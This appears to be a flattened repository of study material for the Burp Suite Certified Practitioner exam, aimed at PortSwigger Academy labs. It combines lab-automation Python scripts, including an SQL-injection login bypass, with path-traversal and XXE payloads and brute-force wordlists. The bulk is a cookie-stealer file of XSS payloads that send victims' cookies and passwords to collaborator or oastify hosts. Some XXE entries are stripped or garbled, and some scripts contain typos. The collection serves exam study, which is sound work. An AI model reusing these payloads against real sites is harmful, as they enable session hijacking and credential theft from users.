├── images ├── jwt.png ├── brute.png ├── csrf.png ├── gpost.png ├── ssrf.png ├── xss1.png ├── xss2.png ├── dom-xss.png ├── xinclude.png ├── dom-invader.png ├── exploit.dtd.png ├── get-dom-xss.png ├── hackvertor.png ├── manual-sqli.png ├── tracking.js.png ├── x-cache-hit.png ├── csrf-privesc.png ├── erb-template.png ├── identify-ssti.png ├── identify-xxe.png ├── referer-csrf.png ├── django-template.png ├── proto-pollution.png ├── ssrf-obfuscated.png ├── tornado-template.png ├── Routing-based-SSRF.png ├── identify-ssrf-host.png ├── single-connection.png ├── ssrf_redirect_uris.png ├── xxe-ssrf-localhost.png ├── admin-roleid-privesc.png ├── blind-xxe-exploit-dtd.png ├── domxss-on-constructor.png ├── encode-path-traverse.png ├── freemarker-template.png ├── handlebars-template.png ├── stored-xss-blog-post.png ├── xml-sql-obfuscation.png ├── identify-sqli-parameter.png ├── sqlmap-dump-table-data.png ├── TE-CL-http-request-smuggle.png ├── exploit-host-tracking-js.png ├── intruder-payload-positions.png ├── javascript-template-string.png ├── identify-math-evaluated-xml.png ├── dom-invader-resend-web-messages.png ├── scan-defined-insertion-points.png ├── HOST-Header-forgot-password-reset.PNG ├── collaborator-xss-Request-received.png ├── dom-invader-identify-web-messages.png ├── user-agent-cookie-stealer-smuggled.PNG ├── victim-request-captured-blog-comment.png ├── content-length-capture-victim-request.png ├── reflected-dom-xss-json-cookie-stealer.png └── deliver-reflected-xss-to-steal-victim-cookie.png ├── payloads ├── README.md ├── file-path-traversal.md ├── xxe-payloads.md └── CookieStealer-Payloads.md ├── python ├── template.py ├── README.md ├── xss │ └── xss1.py ├── utils │ ├── blog.py │ ├── utils.py │ ├── site.py │ └── shop.py └── sqli │ └── sqli_login_bypass.py ├── wordlists ├── burp-usernames.txt └── burp-passwords.txt └── README.md /images/jwt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/jwt.png -------------------------------------------------------------------------------- /images/brute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/brute.png -------------------------------------------------------------------------------- /images/csrf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/csrf.png -------------------------------------------------------------------------------- /images/gpost.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/gpost.png -------------------------------------------------------------------------------- /images/ssrf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/ssrf.png -------------------------------------------------------------------------------- /images/xss1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/xss1.png -------------------------------------------------------------------------------- /images/xss2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/xss2.png -------------------------------------------------------------------------------- /images/dom-xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/dom-xss.png -------------------------------------------------------------------------------- /images/xinclude.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/xinclude.png -------------------------------------------------------------------------------- /images/dom-invader.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/dom-invader.png -------------------------------------------------------------------------------- /images/exploit.dtd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/exploit.dtd.png -------------------------------------------------------------------------------- /images/get-dom-xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/get-dom-xss.png -------------------------------------------------------------------------------- /images/hackvertor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/hackvertor.png -------------------------------------------------------------------------------- /images/manual-sqli.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/manual-sqli.png -------------------------------------------------------------------------------- /images/tracking.js.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/tracking.js.png -------------------------------------------------------------------------------- /images/x-cache-hit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/x-cache-hit.png -------------------------------------------------------------------------------- /images/csrf-privesc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/csrf-privesc.png -------------------------------------------------------------------------------- /images/erb-template.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/erb-template.png -------------------------------------------------------------------------------- /images/identify-ssti.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/identify-ssti.png -------------------------------------------------------------------------------- /images/identify-xxe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/identify-xxe.png -------------------------------------------------------------------------------- /images/referer-csrf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/referer-csrf.png -------------------------------------------------------------------------------- /images/django-template.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/django-template.png -------------------------------------------------------------------------------- /images/proto-pollution.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/proto-pollution.png -------------------------------------------------------------------------------- /images/ssrf-obfuscated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/ssrf-obfuscated.png -------------------------------------------------------------------------------- /images/tornado-template.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/tornado-template.png -------------------------------------------------------------------------------- /images/Routing-based-SSRF.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/Routing-based-SSRF.png -------------------------------------------------------------------------------- /images/identify-ssrf-host.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/identify-ssrf-host.png -------------------------------------------------------------------------------- /images/single-connection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/single-connection.png -------------------------------------------------------------------------------- /images/ssrf_redirect_uris.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/ssrf_redirect_uris.png -------------------------------------------------------------------------------- /images/xxe-ssrf-localhost.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/xxe-ssrf-localhost.png -------------------------------------------------------------------------------- /images/admin-roleid-privesc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/admin-roleid-privesc.png -------------------------------------------------------------------------------- /images/blind-xxe-exploit-dtd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/blind-xxe-exploit-dtd.png -------------------------------------------------------------------------------- /images/domxss-on-constructor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/domxss-on-constructor.png -------------------------------------------------------------------------------- /images/encode-path-traverse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/encode-path-traverse.png -------------------------------------------------------------------------------- /images/freemarker-template.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/freemarker-template.png -------------------------------------------------------------------------------- /images/handlebars-template.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/handlebars-template.png -------------------------------------------------------------------------------- /images/stored-xss-blog-post.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/stored-xss-blog-post.png -------------------------------------------------------------------------------- /images/xml-sql-obfuscation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/xml-sql-obfuscation.png -------------------------------------------------------------------------------- /images/identify-sqli-parameter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/identify-sqli-parameter.png -------------------------------------------------------------------------------- /images/sqlmap-dump-table-data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/sqlmap-dump-table-data.png -------------------------------------------------------------------------------- /images/TE-CL-http-request-smuggle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/TE-CL-http-request-smuggle.png -------------------------------------------------------------------------------- /images/exploit-host-tracking-js.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/exploit-host-tracking-js.png -------------------------------------------------------------------------------- /images/intruder-payload-positions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/intruder-payload-positions.png -------------------------------------------------------------------------------- /images/javascript-template-string.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/javascript-template-string.png -------------------------------------------------------------------------------- /images/identify-math-evaluated-xml.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/identify-math-evaluated-xml.png -------------------------------------------------------------------------------- /images/dom-invader-resend-web-messages.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/dom-invader-resend-web-messages.png -------------------------------------------------------------------------------- /images/scan-defined-insertion-points.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/scan-defined-insertion-points.png -------------------------------------------------------------------------------- /images/HOST-Header-forgot-password-reset.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/HOST-Header-forgot-password-reset.PNG -------------------------------------------------------------------------------- /images/collaborator-xss-Request-received.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/collaborator-xss-Request-received.png -------------------------------------------------------------------------------- /images/dom-invader-identify-web-messages.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/dom-invader-identify-web-messages.png -------------------------------------------------------------------------------- /images/user-agent-cookie-stealer-smuggled.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/user-agent-cookie-stealer-smuggled.PNG -------------------------------------------------------------------------------- /images/victim-request-captured-blog-comment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/victim-request-captured-blog-comment.png -------------------------------------------------------------------------------- /images/content-length-capture-victim-request.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/content-length-capture-victim-request.png -------------------------------------------------------------------------------- /images/reflected-dom-xss-json-cookie-stealer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/reflected-dom-xss-json-cookie-stealer.png -------------------------------------------------------------------------------- /images/deliver-reflected-xss-to-steal-victim-cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/Burp-Suite-Certified-Practitioner-Exam-Study/HEAD/images/deliver-reflected-xss-to-steal-victim-cookie.png -------------------------------------------------------------------------------- /payloads/README.md: -------------------------------------------------------------------------------- 1 | # Sample Payloads 2 | 3 | >The following are the sample payloads for various vulnerabilities. 4 | 5 | [CookieStealer XSS Payloads](CookieStealer-Payloads.md) 6 | [XXE Payloads](xxe-payloads.md) 7 | [File Path Traversal](file-path-traversal.md) 8 | 9 | -------------------------------------------------------------------------------- /python/template.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import logging 3 | import argparse 4 | import urllib3 5 | 6 | import requests 7 | 8 | import utils # script written by @tjc_ https://youtu.be/YYsZpJ83azQ 9 | 10 | 11 | log = logging.getLogger(__name__) 12 | logging.basicConfig( 13 | stream=sys.stdout, 14 | level=logging.INFO, 15 | format="{asctime} [{threadName}][{levelname}][{name}] {message}", 16 | style="{", 17 | datefmt="%H:%M:%S", 18 | ) 19 | urllib3.disable_warnings(urllib3.execeptions.InsecureRequestWarning) 20 | 21 | 22 | def main(args): 23 | pass 24 | 25 | 26 | if __name__ == "__main__": 27 | args = utils.parse_args(sys.argv) 28 | main(args) -------------------------------------------------------------------------------- /python/README.md: -------------------------------------------------------------------------------- 1 | 2 | # PortSwigger Academy Lab automation scripts 3 | 4 | >Came across this great YouTube channel by [@tjc_](https://www.youtube.com/@tjc_/videos), where he step through the process of writng python scripts to automate the exploitation of the PortSwigger labs. 5 | 6 | >I followed his videos and reproduced the scripts but credit goes to **@tjc_** 7 | 8 | >The utils and other pythons scripts imported into each vulnerability catagory lab is reference with symbolic link, under each sub folder. In below example in the XSS folder there is symbolic link to ../utils folder. 9 | 10 | ```bash 11 | cd xss/ 12 | ln -s ../utils utils 13 | ``` 14 | 15 | >This create uniform import standard in all scripts. 16 | -------------------------------------------------------------------------------- /payloads/file-path-traversal.md: -------------------------------------------------------------------------------- 1 | # Directory Path Traversal 2 | 3 | ```bash 4 | 5 | /etc/passwd 6 | 7 | ../../../etc/passwd%00.png 8 | 9 | ....//....//....//etc/passwd 10 | 11 | ..%252f..%252f..%252fetc/passwd 12 | 13 | /var/www/images/../../../etc/passwd 14 | 15 | ../../../etc/passwd%00.png 16 | 17 | ../../../etc/passwd 18 | 19 | /home/carlos/secret 20 | 21 | ../../../home/carlos/secret%00.png 22 | 23 | ....//....//....//home/carlos/secret 24 | 25 | ....//....//....//....//home/carlos/secret 26 | 27 | ..%252f..%252f..%252fhome/carlos/secret 28 | 29 | %252e%252e%252fhome%252fcarlos%252fsecret 30 | 31 | /var/www/images/../../../home/carlos/secret 32 | 33 | ../../../home/carlos/secret%00.png 34 | 35 | ../../../home/carlos/secret 36 | 37 | ``` 38 | 39 | -------------------------------------------------------------------------------- /python/xss/xss1.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import logging 3 | import argparse 4 | import urllib3 5 | 6 | import requests 7 | 8 | from utils import utils # script written by @tjc_ https://youtu.be/YYsZpJ83azQ 9 | from utils.blog import Blog 10 | 11 | 12 | log = logging.getLogger(__name__) 13 | logging.basicConfig( 14 | stream=sys.stdout, 15 | level=logging.INFO, 16 | format="{asctime} [{threadName}][{levelname}][{name}] {message}", 17 | style="{", 18 | datefmt="%H:%M:%S", 19 | ) 20 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 21 | 22 | 23 | 24 | def main(args): 25 | blog = Blog(args.url, args.no_proxy) 26 | blog.search("") 27 | # print(resp.text) ## debugging 28 | blog.is_solved() 29 | 30 | 31 | if __name__ == "__main__": 32 | args = utils.parse_args(sys.argv) 33 | main(args) 34 | -------------------------------------------------------------------------------- /python/utils/blog.py: -------------------------------------------------------------------------------- 1 | import re 2 | import sys 3 | import logging 4 | import urllib3 5 | 6 | import requests 7 | 8 | from utils import utils ## the original code written by @tjc_ https://youtu.be/HsHLc6U0IwQ?t=443 9 | from utils.site import Site 10 | 11 | 12 | log = logging.getLogger(__name__) 13 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 14 | 15 | 16 | class Blog(Site): 17 | def __init__(self, url, no_proxy, session=None): # part of arguments given is 'self' automatically included 18 | super().__init__(url, no_proxy, session) 19 | 20 | def search(self, search_term): 21 | url = self.base_url + '?search=' + search_term 22 | log.info(f"Searching url: {url}") 23 | if self.no_proxy: 24 | resp = requestis.get(url) 25 | else: 26 | resp = requests.get(url, proxies=utils.PROXIES, verify=False) 27 | return resp 28 | -------------------------------------------------------------------------------- /python/sqli/sqli_login_bypass.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import logging 3 | import urllib3 4 | 5 | import requests 6 | 7 | import utils # code to this script was written by @tjc_ https://youtu.be/YYsZpJ83azQ 8 | from shop import Shop # Shop class also written by @tjc_ 9 | 10 | log = logging.getLogger(__name__) 11 | logging.basicConfig( 12 | stream=sys.stdout, 13 | level=logging.INFO, 14 | format="{asctime} [{threadName}][{levelname}][{name}] {message}", 15 | style="{", 16 | datefmt="%H:%M:%S", 17 | ) 18 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 19 | 20 | 21 | def main(args): 22 | session = requests.Session() # keep track of cookies 23 | shop = Shop(args.url, args.no_proxy, session) # login url build into the Class and this object 24 | shop.login("administrator'--","password") 25 | utils.is_solved(shop.base_url, args.no_proxy) 26 | 27 | 28 | if __name__ == "__main__": 29 | args = utils.parse_args(sys.argv) 30 | main(args) 31 | -------------------------------------------------------------------------------- /python/utils/utils.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import time 3 | import logging 4 | import argparse 5 | import urllib3 6 | 7 | import requests # this script to automate portswigger labs was written by $tjc_ https://youtu.be/YYsZpJ83azQ 8 | 9 | 10 | PROXIES = { 11 | "http": "127.0.0.1:8080", 12 | "https":"127.0.0.1:8080" 13 | } 14 | log = logging.getLogger(__name__) 15 | logging.basicConfig( 16 | stream=sys.stdout, 17 | level=logging.INFO, 18 | format="{asctime} [{threadName}][{levelname}][{name}] {message}", 19 | style="{", 20 | datefmt="%H:%M:%S", 21 | ) 22 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 23 | 24 | def parse_args(args: list): 25 | parser = argparse.ArgumentParser() 26 | parser.add_argument( 27 | "-n", "--no-proxy", default=False, action="store_true", help="do not use proxy" 28 | ) 29 | parser.add_argument("url", help="url of target") 30 | return parser.parse_args() 31 | 32 | 33 | def normalize_url(url): 34 | if not url.endswith("/"): 35 | url = url + "/" 36 | return url 37 | 38 | -------------------------------------------------------------------------------- /wordlists/burp-usernames.txt: -------------------------------------------------------------------------------- 1 | carlos 2 | root 3 | admin 4 | test 5 | guest 6 | info 7 | adm 8 | mysql 9 | user 10 | administrator 11 | oracle 12 | ftp 13 | pi 14 | puppet 15 | peter 16 | wiener 17 | C0nt3ntM4n4g3r 18 | ansible 19 | ec2-user 20 | vagrant 21 | azureuser 22 | academico 23 | acceso 24 | access 25 | accounting 26 | accounts 27 | acid 28 | activestat 29 | ad 30 | adam 31 | adkit 32 | admin 33 | administracion 34 | administrador 35 | administrator 36 | administrators 37 | admins 38 | ads 39 | adserver 40 | adsl 41 | ae 42 | af 43 | affiliate 44 | affiliates 45 | afiliados 46 | ag 47 | agenda 48 | agent 49 | ai 50 | aix 51 | ajax 52 | ak 53 | akamai 54 | al 55 | alabama 56 | alaska 57 | albuquerque 58 | alerts 59 | alpha 60 | alterwind 61 | am 62 | amarillo 63 | americas 64 | an 65 | anaheim 66 | analyzer 67 | announce 68 | announcements 69 | antivirus 70 | ao 71 | ap 72 | apache 73 | apollo 74 | app 75 | app01 76 | app1 77 | apple 78 | application 79 | applications 80 | apps 81 | appserver 82 | aq 83 | ar 84 | archie 85 | arcsight 86 | argentina 87 | arizona 88 | arkansas 89 | arlington 90 | as 91 | as400 92 | asia 93 | asterix 94 | at 95 | athena 96 | atlanta 97 | atlas 98 | att 99 | au 100 | auction 101 | austin 102 | auth 103 | auto 104 | autodiscover -------------------------------------------------------------------------------- /wordlists/burp-passwords.txt: -------------------------------------------------------------------------------- 1 | C0nt3ntM4n4g3r 2 | peter 3 | wiener 4 | 123456 5 | password 6 | 12345678 7 | qwerty 8 | 123456789 9 | 12345 10 | admin 11 | administrator 12 | cheat 13 | 1234 14 | 111111 15 | 1234567 16 | dragon 17 | 123123 18 | baseball 19 | abc123 20 | football 21 | monkey 22 | letmein 23 | content 24 | shadow 25 | master 26 | 666666 27 | qwertyuiop 28 | 123321 29 | mustang 30 | 1234567890 31 | michael 32 | 654321 33 | superman 34 | 1qaz2wsx 35 | 7777777 36 | 121212 37 | 000000 38 | qazwsx 39 | 123qwe 40 | killer 41 | trustno1 42 | jordan 43 | jennifer 44 | zxcvbnm 45 | asdfgh 46 | hunter 47 | buster 48 | soccer 49 | harley 50 | batman 51 | andrew 52 | tigger 53 | sunshine 54 | iloveyou 55 | 2000 56 | charlie 57 | robert 58 | thomas 59 | hockey 60 | ranger 61 | daniel 62 | starwars 63 | klaster 64 | 112233 65 | george 66 | computer 67 | michelle 68 | jessica 69 | pepper 70 | 1111 71 | zxcvbn 72 | 555555 73 | 11111111 74 | 131313 75 | freedom 76 | 777777 77 | pass 78 | maggie 79 | 159753 80 | aaaaaa 81 | ginger 82 | princess 83 | joshua 84 | cheese 85 | amanda 86 | summer 87 | love 88 | ashley 89 | nicole 90 | chelsea 91 | biteme 92 | matthew 93 | access 94 | yankees 95 | 987654321 96 | dallas 97 | austin 98 | thunder 99 | taylor 100 | matrix 101 | mobilemail 102 | mom 103 | monitor 104 | monitoring 105 | montana 106 | moon 107 | moscow -------------------------------------------------------------------------------- /python/utils/site.py: -------------------------------------------------------------------------------- 1 | import re 2 | import time 3 | import logging 4 | import urllib3 5 | 6 | import requests 7 | 8 | from utils import utils # source of the code https://youtu.be/HsHLc6U0IwQ?t=443 9 | 10 | 11 | log = logging.getLogger(__name__) 12 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 13 | 14 | 15 | class Site: 16 | def __init__(self, url, no_proxy, session=None): 17 | self.base_url = utils.normalize_url(url) 18 | self.no_proxy = no_proxy 19 | self.session = session 20 | 21 | def get_hint(self): 22 | log.info("Get Hint") 23 | if self.no_proxy: 24 | resp = requests.get(self.base_url) 25 | else: 26 | resp = requests.get(self.base_url, proxies=utils.PROXIES, verify=False) 27 | pattern = re.compile(r'id="hint">.*?: \'(.*?)\'') 28 | m = pattern.search(resp.text) 29 | log.info(f"Found hint: {m[1]}") 30 | return m[1] 31 | 32 | def is_solved(self): 33 | def _is_solved(self): 34 | log.info("Checking if Lab is solved?") 35 | if self.no_proxy: 36 | resp = requests.get(self.base_url) 37 | else: 38 | resp = requests.get(self.base_url, proxies=utils.PROXIES, verify=False) 39 | if "Congratulations, you solved the lab!" in resp.text: 40 | log.info("Lab Completed.") 41 | return True 42 | 43 | solved = _is_solved(self) 44 | if solved: 45 | return True 46 | else: 47 | time.sleep(2) 48 | _is_solved(self) 49 | -------------------------------------------------------------------------------- /payloads/xxe-payloads.md: -------------------------------------------------------------------------------- 1 | # XML Injection Payloads 2 | 3 | ```xml 4 | %xxe;]> 5 | ``` 6 | 7 | ```xml 8 | ]> 9 | &xxe; 10 | ``` 11 | 12 | ```xml 13 | %xxe; ]> 14 | ``` 15 | 16 | ```xml 17 | %xxe;]> 18 | ``` 19 | 20 | ```xml 21 | 22 | "> 23 | %eval; 24 | %exfil; 25 | ``` 26 | 27 | ```xml 28 | 29 | "> 30 | %eval; 31 | %exfil; 32 | ``` 33 | 34 | ```xml 35 | %xxe;]> 36 | ``` 37 | 38 | ```xml 39 | 40 | ``` 41 | 42 | ```xml 43 | 44 | ``` 45 | 46 | ```xml 47 | ]>&xxe; 48 | ``` 49 | 50 | ```xml 51 | 52 | "> 53 | %eval; 54 | %exfil; 55 | ``` 56 | 57 | ```xml 58 | %xxe;]> 59 | ``` 60 | 61 | -------------------------------------------------------------------------------- /python/utils/shop.py: -------------------------------------------------------------------------------- 1 | import re 2 | import sys 3 | import logging 4 | 5 | import requests 6 | 7 | from utils import utils # this script was created from YouTube https://youtu.be/YYsZpJ83azQ tutorial by @tjc_ 8 | from utils.site import Site 9 | 10 | 11 | log = logging.getLogger(__name__) 12 | 13 | 14 | class Shop(Site): 15 | def __init__(self, url, no_proxy, session=None): # part of arguments given is 'self' automatically included 16 | super().__init__(url, no_proxy, session) 17 | self.login_url = self.base_url + "login" 18 | self.category_url = self.base_url + "filter?category=" 19 | 20 | def login(self, username, password): 21 | log.info("Login Attempt to shop") 22 | if self.no_proxy: 23 | resp = self.session.get(self.login_url) 24 | else: 25 | resp = self.session.get(self.login_url, proxies=utils.PROXIES, verify=False) 26 | if not resp.status_code == 200: 27 | log.error("Could not get login page. Exit Program!") 28 | sys.exit() 29 | else: 30 | # print(resp.text) # debugging 31 | pattern = re.compile(r'name="csrf" value="(.*?)"') 32 | m = pattern.search(resp.text) 33 | csrf_token = m[1] 34 | log.info("Found CSRF token: {csrf_token}") 35 | data = { 36 | "csrf": csrf_token, 37 | "username": username, 38 | "password": password, 39 | } 40 | log.info("Attempt login bypass") 41 | if self.no_proxy: # provide option to set proxy or run script with no proxy 42 | resp = self.session.post(self.login_url, data=data) 43 | else: 44 | resp = self.session.post( 45 | self.login_url, data=data, proxies=utils.PROXIES, verify=False 46 | ) 47 | if resp.status_code == 200: 48 | log.info("Successfully bypassed login!") 49 | -------------------------------------------------------------------------------- /payloads/CookieStealer-Payloads.md: -------------------------------------------------------------------------------- 1 | 2 | # CookieStealer-Payloads 3 | 4 | >Cookie Stealer payloads using Javascript 5 | 6 | ```Javascript 7 | JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie 8 | ``` 9 | 10 | >Reflected XSS into HTML context with nothing encoded in search. 11 | 12 | ```JavaScript 13 | 14 | ``` 15 | 16 | >Reflected DOM XSS, into JSON data that is processed by **eval().** 17 | 18 | ```JavaScript 19 | \"-fetch('https://Collaborator.com?cs='+btoa(document.cookie))}// 20 | ``` 21 | 22 | >JavaScript Template literals are enclosed by backtick ( \` ) characters instead of double or single quotes. 23 | 24 | ```JavaScript 25 | ${document.location='https://tvsw9dim0doynnpscx9mgtq67xdo1jp8.oastify.com/?cookies='+document.cookie;} 26 | ``` 27 | 28 | ![javascript-template-string.png](../images/javascript-template-string.png) 29 | 30 | >More Cross-Site Scripting (XSS) example cookie stealer payloads. 31 | 32 | ```Javascript 33 | 36 | ``` 37 | 38 | ```Javascript 39 | a"/> 40 | ``` 41 | 42 | ```Javascript 43 | document.location='https://burp-collab.x.com/cookiestealer.php?c='+document.cookie; 44 | ``` 45 | 46 | ```Javascript 47 | document.location='https://BurpCollaBoRaTor.oastify.com/?FreeCookies='+document.cookie; 48 | ``` 49 | 50 | ```Javascript 51 | /?evil='/> 52 | ``` 53 | 54 | ```Javascript 55 | GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=document.location='http://BURPCOL.oastify.com/?StealCookies=' document.cookie ;// 56 | ``` 57 | 58 | ```Javascript 59 | 60 | ``` 61 | 62 | ```Javascript 63 | 77 | ``` 78 | 79 | ```Javascript 80 | 83 | ``` 84 | 85 | ```Javascript 86 | 93 | ``` 94 | 95 | ```Javascript 96 | x"); var fuzzer=new Image;fuzzer.src="https://COLLABORATOR.com/?"+document.cookie; // 97 | ``` 98 | 99 | ```Javascript 100 | 101 | ``` 102 | 103 | ```Javascript 104 | 105 | ``` 106 | 107 | ```Javascript 108 | ?productId=1&storeId="> 109 | ``` 110 | 111 | ```Javascript 112 | 115 | ``` 116 | 117 | ```Javascript 118 | 119 | ``` 120 | 121 | ```Javascript 122 | 129 | ``` 130 | 131 | >:::: Steal Password / Cookie Stealer :::: 132 | 133 | >XMLHttpRequest 134 | 135 | ```html 136 | 137 | 138 | 148 | ``` 149 | 150 | >FETCH API 151 | 152 | ```Javascript 153 | 154 | 159 | ``` 160 | 161 | 162 | >:::: DATA EXFILTRATION / COOKIE STEALER :::: 163 | ```Javascript 164 | 165 | ``` 166 | 167 | ```Javascript 168 | 169 | ``` 170 | 171 | ```Javascript 172 | 175 | ``` 176 | 177 | ```Javascript 178 | 179 | ``` 180 | 181 | >IFRAMEs 182 | 183 | ```JavaScript 184 | 179 | ``` 180 | 181 | >Following iframe uses **hash** character to trigger the OnHashChange **'#'** 